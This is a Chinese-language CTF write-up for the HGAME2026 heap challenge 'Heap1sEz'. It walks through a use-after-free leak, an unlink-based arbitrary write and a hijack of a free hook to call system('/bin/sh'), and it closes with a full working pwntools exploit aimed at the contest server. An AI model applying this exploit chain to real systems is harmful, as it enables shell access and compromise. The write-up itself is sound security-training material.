HGAME2026 Heap1sEz

这道题主要考察三个知识点:UAF、free_hook 劫持、Unlink。

逆向:

1
2
3
4
5
6
void __cdecl gift()
{
__printf_chk(1LL, "give me a hook\n");
if ( (int)__isoc99_scanf("%p", &hook) <= 0 )
_exit(1);
}

gift函数的意思是可以读取一个地址,写入到hook中,追踪看一下hook会去到哪里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall free(void *mem)
{
malloc_chunk *v1; // rbx
unsigned __int64 v2; // rbp
malloc_chunk *v3; // r12
unsigned __int64 v4; // r13
__int64 v5; // rax
mchunkptr v6; // rax

if ( hook )
{
hook(mem);
}
……

在执行free的时候,如果hook这个函数指针中有内容,那么就调用hook这个函数指针,我们只需要将其覆盖成system,然后参数mem改成’/bin/sh’就可以getshell了,程序开启了PIE,所以应该先泄露libc地址。

先创建两个chunk,再free掉,看看show能否出来和main_arena的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p notes
$3 = {0x0, 0x0, 0x55555555e010 "\bxUUUU", 0x55555555e030 "", 0x0 <repeats 12 times>}
pwndbg> p &main_arena
$4 = (struct malloc_state *) 0x555555557810 <main_arena>
pwndbg> x/20gx 0x555555557808
0x555555557808 <completed.0>: 0x0000000000000000 0x000055555555e000
0x555555557818 <main_arena+8>: 0x0000555555557808 0x0000555555557808
0x555555557828 <hook>: 0x0000000000000000 0x000055555555e000
0x555555557838: 0x0000000000000000 0x0000000000000000
0x555555557848 <note_size+8>: 0x0000000800000008 0x0000000000000000
0x555555557858 <note_size+24>: 0x0000000000000000 0x0000000000000000
0x555555557868 <note_size+40>: 0x0000000000000000 0x0000000000000000
0x555555557878 <note_size+56>: 0x0000000000000000 0x0000000000000000
0x555555557888 <notes+8>: 0x0000000000000000 0x000055555555e010
0x555555557898 <notes+24>: 0x000055555555e030 0x0000000000000000
1
2
>>> hex(u64(b'\bxUUUU'.ljust(8, b'\x00')))
'0x555555557808'

也就是指向了main_arena - 8,这样子PIE的问题就解决了,只需要泄露libc,用unlink实现任意地址写:

unlink 宏的定义(简化):

1
2
3
4
5
6
#define unlink(P, BK, FD) {               \
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
}

P 是要被移除的空闲块指针。该宏将 P 的前后指针指向的块互相连接,从而把 P 从链表中摘除。

任意地址写(64位):

P->fd = target_addr - 0x18

P->bk = content

为了执行unlink,那创建两个chunk,然后free0,修改fd和bk,free1执行chunk0的unlink,将note[0]修改成puts@got,就可以泄露libc了。最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
libc = ELF("./libc.so.6")
#p = process("./vuln")
p = remote("forward.vidar.club",32663)
#gdb.attach(p)
def add(index,size):
p.sendline(b"1")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size: ",str(size))
def dele(index):
p.sendline(b"2")
p.sendlineafter("Index:",str(index))
def edit(index,content):
p.sendline(b"3")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendline(b"4")
p.sendlineafter("Index:",str(index))
add(2,8)
add(3,8)
dele(2)
dele(3)
show(2)
leak = u64(p.recvline()[1:-1].ljust(8, b'\x00'))
print(hex(leak))
main_arena = leak + 0x8
notes = main_arena - 0x3810 + 0x3880
puts_got = main_arena - 0x3810 + 0x3768
add(0, 16)
add(1, 16)
dele(0)
edit(0, p64(notes-0x18) + p64(puts_got))
dele(1)
show(0)
puts = u64(p.recvline()[1:-1].ljust(8, b'\x00'))
print(hex(puts))
offset = puts - libc.symbols['puts']
system_addr = offset + libc.symbols['system']
bin_sh = offset + next(libc.search(b'/bin/sh'))
add(4, 7)
edit(4, b'/bin/sh')
p.sendline(b"6")
p.sendlineafter(b"give me a hook\n",hex(system_addr))
dele(4)
p.interactive()